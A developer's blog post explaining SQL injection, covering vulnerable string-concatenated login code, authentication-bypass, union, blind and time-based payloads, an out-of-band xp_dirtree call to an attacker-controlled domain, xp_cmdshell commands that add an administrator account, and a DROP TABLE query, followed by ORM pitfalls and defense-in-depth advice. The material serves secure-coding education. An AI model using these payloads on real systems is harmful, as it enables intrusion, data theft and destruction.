You’ll receive an email confirming your submission.
Our team will contact you within 24–72 hours, depending on the complexity of your request.
By submitting, you agree to our [Privacy Policy] and consent to receive updates or consultation support from Open Reach Tech.
Please select the privacy consent checkbox.

components..title

components..description

components..title

components..description

You’ll receive an email confirming your submission.
Our team will contact you within 24–72 hours, depending on the complexity of your request.
By submitting, you agree to our [Privacy Policy] and consent to receive updates or consultation support from Open Reach Tech.
Please select the privacy consent checkbox.

SQL Injection: An 'Ancient' Vulnerability I Almost Fell For Anyway

Portrait of Hung Nguyen
Hung NguyenBackend Developer

A backend developer's journey into understanding SQL Injection. From common misconceptions and real-world attack techniques to practical lessons on ORM usage, secure coding, and defense-in-depth security.

Banner of SQL Injection: An 'Ancient' Vulnerability I Almost Fell For Anyway

SQL Injection: An "Ancient" Vulnerability I Almost Fell For Anyway

"SQL Injection isn't a vulnerability of the database. It's a vulnerability of trust β€” blind trust in input data."

This is a quote I came across while studying SQL Injection, and honestly, at first I thought it sounded a bit dramatic. But the deeper I dug into case studies, the more I realized how chillingly accurate it is. This post is a collection of notes from my own self-study on SQLi β€” not as a security expert, but as a backend dev trying to better understand the code I write every day.

1. What Is SQL Injection? β€” How I Misunderstood It at First

When I first started learning about SQL Injection, I thought it was some kind of advanced "system flaw" β€” the sort of thing hackers needed special tools to exploit. After reading more carefully, I realized the underlying mechanism is shockingly simple.

Imagine this: you ask a virtual assistant to find information in a notebook. You say: "Find me the information for the customer named Nam." The assistant searches and returns the result β€” fine.

But what if you said: "Find me the information for the customer named Nam, then tear out all the remaining pages in the notebook" β€” and the assistant just follows every word literally, unable to tell the difference between "a customer name" and "a command"... that's essentially SQL Injection.

SQL Injection (SQLi) is a technique of inserting malicious SQL fragments into input data (login forms, search boxes, URL parameters, etc.) to alter the original SQL query. When the database can't distinguish between data and commands, it ends up executing the malicious part as well.

In short, as a formula:

SQL statement = Fixed structure (written by the developer) + User input (uncontrolled)

The moment user input "escapes" its role as data and becomes part of the statement's structure β€” that's when everything goes wrong.

πŸ“Œ What I learned

SQL Injection doesn't require anything sophisticated β€” a single misplaced quote ' is enough to "break" a query's structure.

⚠️ A common mistake among new devs

Assuming SQL Injection is an "old" vulnerability that only happens in legacy systems or early frameworks β€” and that using newer tech means you're "probably fine."

🧠 Worth remembering

Anywhere user input is inserted into a SQL statement without a clear separation mechanism is a point of risk β€” regardless of how old or new the technology is.


2. Two Perspectives: Developer vs. Hacker

2.1. The developer's side: code that "looks harmless"

This is the classic login code that almost everyone has written at some point (using string concatenation, e.g. Node.js + MySQL):

// ❌ DANGEROUS CODE - Never write it like this
app.post('/login', (req, res) => {
  const { username, password } = req.body;

  const query = `SELECT * FROM users 
                  WHERE username = '${username}' 
                  AND password = '${password}'`;

  db.query(query, (err, results) => {
    if (results.length > 0) {
      res.send('Login successful!');
    } else {
      res.send('Incorrect username or password');
    }
  });
});

With normal input, the generated SQL is perfectly valid:

SELECT * FROM users WHERE username = 'nam' AND password = '123456'

The first time I looked at this code, it seemed... completely fine. That's exactly what makes SQLi dangerous β€” it "looks okay" in 99% of normal test cases.

2.2. The hacker's side: turning data into commands

A hacker doesn't need to know the password β€” they just need to "break" the statement's structure. Try entering this into the username field:

' OR '1'='1

The actual SQL becomes:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = ''

Since '1'='1' is always true, the query returns every user in the table β†’ the hacker logs in, usually as the very first account β€” typically admin.

Another variant uses a comment to "remove" the rest of the statement:

Input username: admin' --
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'

-- is a SQL comment, so the password check is completely disabled. Login succeeds as admin without needing to know the password at all.

2.3. General attack flow diagram

2.4. The hacker mindset β€” the part I found most interesting

Reading about the actual exploitation process used by hackers, I realized it's quite... systematic, almost like a reverse-debugging process:

  1. Discovery: Try special characters (', ", ;, --, /* */) in every input field and observe the response.
  2. Fingerprinting: Use error messages or behavior to guess the database type (MySQL, PostgreSQL, MSSQL, Oracle).
  3. Exploitation: Depending on the injection type, extract data, bypass logic, or execute system commands.
  4. Post-exploitation: Escalate privileges, create backdoors, or pivot to other systems.

πŸ“Œ What I learned

Hackers don't "guess randomly" β€” they follow a clear, step-by-step process, very similar to how I'd debug a production issue. The only difference is the goal is reversed.

⚠️ A common mistake among new devs

Only testing "nice" cases (correctly formatted input) while forgetting to test special characters β€” which is the very first thing a hacker tries.

🧠 Worth remembering

Code that "works correctly with valid input" doesn't mean it's "safe with any input."


3. Types of SQL Injection β€” The Part I Found Hardest to Remember at First

When I first started reading, I felt "overwhelmed" by a list of terms: in-band, blind, out-of-band, error-based, union-based... After re-reading a few times, I found it easier to group them by how the database "responds" to the hacker:

3.1. In-band SQL Injection β€” the "most visible" type

a) Error-based

Exploits error messages returned by the database to infer its structure. For example, with MySQL:

-- Original query
SELECT name, price FROM products WHERE id = '1'

-- Malicious input: 1' AND extractvalue(1, concat(0x7e, (SELECT version())))--
SELECT name, price FROM products 
WHERE id = '1' AND extractvalue(1, concat(0x7e, (SELECT version())))--'

The extractvalue() function triggers an XPath error, and the error message will contain the result of SELECT version() β€” for example XPATH syntax error: '~8.0.35-mysql'. The hacker reads the MySQL version directly from the error on screen.

One thing that surprised me: simply leaving display_errors = On in production (a default setting many people keep for "convenient debugging") can leak file paths, database names, and table names β€” essentially a "map" handed to the attacker.

b) Union-based

Uses UNION SELECT to merge the results of a malicious query into the original query's output:

-- Original query (product detail page)
SELECT name, description, price FROM products WHERE id = '5'

-- Malicious input: 5' UNION SELECT username, password, NULL FROM users--
SELECT name, description, price FROM products 
WHERE id = '5' UNION SELECT username, password, NULL FROM users--'

Result: the product page now displays the username and password of a user, right in the fields meant for name and description. The first time I read this example, it gave me a bit of a chill β€” the interface still looks... completely normal, only the data underneath has changed entirely.

Conditions required for successful exploitation:

  • The number of columns in UNION SELECT must match the original query (the hacker probes this using ORDER BY 1,2,3...).
  • The column data types must be compatible (using NULL as a "workaround").

3.2. Blind SQL Injection β€” when the database "says nothing"

While studying this part, I realized it's where a hacker's "patience" really shows. When the application doesn't return data or errors directly, the hacker has to "guess" based on response behavior.

a) Boolean-based Blind

-- Question: "Is the first character of admin's password 'a'?"
SELECT * FROM products 
WHERE id = '1' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--'

If the page returns a normal result β†’ TRUE. If it returns "not found" β†’ FALSE. Repeating this for each position and each character (a-z, 0-9...) lets the hacker reconstruct the password character by character β€” slow, but fully automatable with tools like SQLMap.

b) Time-based Blind

When TRUE and FALSE both return identical responses, hackers use response time instead:

SELECT * FROM products 
WHERE id = '1' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0)--'

If the condition is true, the database "sleeps" for 5 seconds before responding. This technique is slow but extremely hard to detect, since there's no difference in content at all.

3.3. Out-of-band SQL Injection (OOB)

Used when both in-band and blind techniques fail. The hacker uses the database to make DNS/HTTP requests to an external server they control, exfiltrating data that way.

Example on MSSQL:

EXEC master..xp_dirtree '\\attacker-controlled-domain.com\share'

Or on Oracle, using UTL_HTTP / UTL_INADDR.GET_HOST_ADDRESS for DNS exfiltration. This was the part that felt scariest to me, since it bypasses most WAFs that rely on analyzing the response.

3.4. Comparison table

TypeDetection methodExploitation speedDifficultyAttacker requirements
Error-basedObserving error messagesFastLowDatabase displays detailed errors
Union-basedObserving changes in page contentFastMediumKnowing the column count & types
Boolean-based BlindObserving true/false differencesSlowMediumAutomation (SQLMap, etc.)
Time-based BlindMeasuring response timeVery slowHighDB supports a delay function
Out-of-bandObserving separate DNS/HTTP logsMediumVery highDB supports network functions + a callback-receiving server

πŸ“Œ What I learned

Even if an application "returns nothing" β€” i.e., all error messages are disabled and all data is hidden β€” that doesn't mean it's safe. Blind and OOB injection prove otherwise.

⚠️ A common mistake among new devs

Thinking "hiding error messages is enough," when in fact that only blocks error-based injection β€” blind and OOB injection still work fine.

🧠 Worth remembering

"No visible error" β‰  "no vulnerability." A system that stays completely silent in the face of malicious input may still be "leaking" information through response time or other side channels.


4. Consequences β€” The Part That Made Me Realize SQLi Is "No Joke"

4.1. Data exfiltration

The most common consequence β€” hackers extract entire users, orders, payment_info tables, and so on. Many large-scale data breaches around the world are believed to have originated from a single overlooked SQLi endpoint.

4.2. Account takeover

As in the ' OR '1'='1 example above β€” that alone is enough to get into an admin account without a password.

4.3. Authentication bypass

It's not just login β€” access-control checks can also be bypassed if they're built using string-concatenated queries:

-- File access permission check
SELECT * FROM documents WHERE id = '10' AND owner_id = '5'

-- Malicious input for id: 10' OR '1'='1
SELECT * FROM documents WHERE id = '10' OR '1'='1' AND owner_id = '5'

A hacker can access another user's documents even though owner_id doesn't match. I think this is a part that's easy to overlook, since it doesn't live in the login form β€” it lives in the internal permission logic.

4.4. Privilege escalation

If the database user the app uses has permissions like CREATE USER, GRANT, or access to special stored procedures (xp_cmdshell in MSSQL):

EXEC xp_cmdshell 'net user hacker P@ssw0rd123 /add';
EXEC xp_cmdshell 'net localgroup administrators hacker /add';

From a single web vulnerability, a hacker can take over the entire OS-level server. Reading this is when I truly understood why the "least privilege" principle matters β€” the app's database user shouldn't (and doesn't need to) have permissions to do any of this.

4.5. Data destruction

The worst case β€” no need to read anything, just destroy it:

-- Input: '; DROP TABLE users;--
SELECT * FROM products WHERE id = ''; DROP TABLE users;--'

Note: many modern drivers/databases (MySQL with mysqli, or PDO without multi-statement enabled) don't allow multiple statements in a single execute call, so this "stacked query" technique doesn't always work. But with MSSQL through certain drivers, or via batch execution functions, it's entirely feasible.

4.6. Impact severity summary

ConsequenceSeverityRecoverability
Data exfiltrationHighNot possible (data already leaked)
Account takeoverHighPossible (password reset, audit logs)
Authentication bypassHighPossible if detected early
Privilege escalationVery highDifficult, requires infrastructure rebuild
Data destructionExtremely severeDepends on backups, may be unrecoverable

πŸ“Œ What I learned

SQLi isn't a "single, isolated" vulnerability β€” it's a doorway that opens up a cascade of consequences, from data leaks to full server takeover.

⚠️ A common mistake among new devs

Thinking "this endpoint is just for searching/sorting, it's not related to sensitive data, so it's fine." But an injection point anywhere in the system can serve as a starting point for privilege escalation.

🧠 Worth remembering

The "sensitivity" of an endpoint doesn't determine the risk level of an SQLi vulnerability there β€” because a hacker can use it as a stepping stone to attack other parts of the system.


5. Can an ORM Save Me? β€” The Answer Is "Yes, But..."

While working on backend projects, I realized ORMs significantly reduce SQL Injection risk because they generate parameterized queries by default. But there are still "back doors" that leave ORM-based apps vulnerable to SQLi.

Sequelize β€” sequelize.query() with raw strings

// ❌ Dangerous even when using Sequelize
const users = await sequelize.query(
  `SELECT * FROM users WHERE email = '${req.body.email}'`
);

// βœ… Safe - using replacements
const users = await sequelize.query(
  `SELECT * FROM users WHERE email = :email`,
  {
    replacements: { email: req.body.email },
    type: QueryTypes.SELECT
  }
);

Cases that "seem safe" but are still vulnerable to SQL Injection

This is the part I found most valuable on re-reading β€” because it's full of things I once thought were "obvious":

CaseWhy it seems safeWhy it's still dangerous
Using an ORM"The ORM handles security automatically"Raw query / query-builder strings still exist inside ORMs
Input is a number (ID)"Numbers don't need escaping"Still concatenated as WHERE id = ${id}; input like 1 OR 1=1 is still valid as query text
Already validated on the frontend"JS already checked it"Client-side validation can always be bypassed (Postman, curl, Burp)
Data from headers/cookies"Users can't type this themselves"Headers/cookies can be freely edited
Search using LIKE"It's just a search"Incorrectly escaped % and _ can still allow injection if concatenated
Column/table names from config"This is config, not user input"If the config is loaded from a DB/file that users can write to, it's still injectable
WAF in place"The WAF blocks everything"WAFs can be bypassed via encoding, comment injection, case mixing
Stored procedures"Logic is separated from the code"The procedure may still build dynamic SQL internally

πŸ“Œ What I learned

An ORM is a great tool, but it's not an absolute "safe zone" β€” it's only safe when used correctly. Understanding the SQL underneath still matters, no matter how modern the ORM is.

⚠️ A common mistake among new devs

Seeing "uses an ORM" and feeling reassured, without carefully checking for raw queries or concatenated query builders.

🧠 Worth remembering

When reviewing code, if you see ${} or + appearing directly inside a query string β€” that's a signal to stop and inspect it carefully.


8. Summary β€” A Few Things I'm Reminding Myself After Studying This

After going through various materials and case studies on SQL Injection, here are the things I want to write down for myself (and that might be useful to anyone at a similar stage):

  1. Don't trust any input, no matter where it comes from. Frontend, internal APIs, headers, cookies, or even data already stored in the database β€” all of it should be treated as "untrusted" at the point of use.
  2. Security is an architectural concern, not a single line of code. A secure system needs multiple layers: parameterized queries (the main layer) + validation (a secondary layer) + least privilege (limiting damage) + WAF (early warning) + monitoring (detection).
  3. "Defense in depth" β€” no single protective layer is ever enough on its own. If one layer is bypassed, the others must still hold.
  4. Understand the tools you use at a "lower level." Using an ORM doesn't mean you don't need to understand SQL. When something goes wrong, the person who understands the actual generated SQL query will be the one who fixes it fastest β€” and I want to be that person, not the one standing by watching.
  5. Security review should be part of the "Definition of Done", not a "nice to have" step after the feature is already live.

This is a mistake I think a lot of new developers (myself included, at some point) easily fall into: you study SQL Injection, nod along thinking "okay, got it," and then still write WHERE id = ${id} because "it's a number, so it's probably fine." Writing this post is also a way for me to remind myself β€” and hopefully, if you've read this far, it'll make you pause for a moment before concatenating your next SQL statement. πŸ™‚